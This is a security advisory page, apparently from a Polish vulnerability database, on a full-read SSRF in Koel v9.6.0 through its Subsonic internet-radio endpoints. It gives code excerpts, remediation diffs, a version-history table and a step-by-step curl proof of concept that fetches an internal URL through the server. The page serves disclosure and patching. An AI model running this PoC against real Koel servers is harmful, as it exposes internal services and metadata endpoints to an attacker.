Wysoka

Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations

Ujawniono: 15.07.2026
Aktualizacja: 11.10.2026 10:22

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

app/Http/Requests/API/Radio/RadioStationStoreRequest.php
app/Http/Requests/API/Radio/RadioStationUpdateRequest.php

php

new SafeUrl(),
new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

routes/subsonic.php
- createInternetRadioStation.view
- updateInternetRadioStation.view
app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php

php

return [
    'streamUrl' => ['required', 'string'],
    'name' => ['required', 'string'],
    'homepageUrl' => ['nullable', 'string'],
];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
app/Services/RadioService.php

The SSRF is triggered when the station is played:

app/Http/Controllers/StreamRadioController.php
app/Services/Radio/RadioStreamService.php
app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

php

$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

php

while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

Authenticate and obtain an API token:

bash

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

Obtain the user's Subsonic API key:

bash

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

bash

TARGET_URL="http://172.17.0.1:18090/feed.xml"

Confirm the regular web API blocks the URL:

bash

curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

HTTP 422
Error includes The url must point to a public URL.

Create the same station through the Subsonic route:

bash

curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

Expected result:

HTTP 200
JSON includes "status":"ok"

Resolve the station ID and stream it:

bash

STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

HTTP 200
Response body contains the upstream content from the internal target URL

An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.

Practical impact includes:

Reading loopback-only, RFC1918, or Docker-bridge HTTP services
Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
Performing internal HTTP reconnaissance and retrieving content through Koel itself

Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.

Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:

diff

diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;
 
 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:

diff

diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;
 
 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
             'id' => ['required', 'string'],
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:

diff

diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
 namespace App\Services\Radio;
 
+use App\Helpers\Network;
 use App\Models\RadioStation;
 
 class RadioStreamProxy
 {
+    public function __construct(private readonly Network $network) {}
+
@@
     public function openStream(string $url)
     {
+        if (!$this->network->isSafeUrl($url)) {
+            return false;
+        }
+
         $context = stream_context_create([
             'http' => [
                 'header' => "Icy-MetaData: 1\r\n",
                 'timeout' => 5,
             ],

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka Composer	phanan/koel	< 9.7.0	9.7.0

Odnośniki

Ocena CVSS 7.7/10

Wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Słabość (CWE): CWE-918
Platforma: Composer
Paczka: phanan/koel
Ujawniono: 15.07.2026
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-6p96-cfg5-4vhp - CC BY 4.0

Historia podatności: phanan/koel

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów: 8
Pierwsza → ostatnia: 06.2021 07.2026
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Wysoka 4
Średnia 4

Ujawnienia w latach

2021: 1
2022: 0
2023: 0
2024: 0
2025: 0
2026: 7

15.07.2026

Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4

Średnia CVE-2026-54494 < 9.7.1 9.7.1
15.07.2026

Koel: Server-Side Request Forgery (SSRF) in radio station creation due to missing validation bail

Średnia · 6.3 CVE-2026-50552 < 9.7.1 9.7.1
15.07.2026

Koel: Incomplete fix for CVE-2026-47260 — systemic SSRF in podcast & radio fetch paths

Wysoka · 7.1 CVE-2026-54491 < 9.7.1 9.7.1
15.07.2026

Koel has SSRF through Authenticated Subsonic podcast feed URLs

Średnia · 6.4 ghsa-8q6q-m837-fv64 < 9.7.0 9.7.0
15.07.2026

Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations ten wpis

Wysoka · 7.7 CVE-2026-54493 < 9.7.0 9.7.0
15.07.2026

Koel: Authenticated Blind SSRF via Subsonic Podcast Channel Creation

Średnia · 4.3 CVE-2026-54492 < 9.7.0 9.7.0
29.05.2026

Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs

Wysoka · 7.7 CVE-2026-47260 < 9.3.5 9.3.5
01.06.2021

Improper rate limiting in Koel

Wysoka CVE-2021-33563 < 5.1.4 5.1.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację

Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations

Summary

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

The unvalidated URL is stored and later fetched server-side

The response body is returned to the attacker

PoC

Remediation

Czego dotyczy

Odnośniki

Historia podatności: phanan/koel

Rozkład istotności

Ujawnienia w latach

Dowiedz się, które podatności dotyczą Twojej aplikacji

Bezpieczeństwo aplikacji w Twojej skrzynce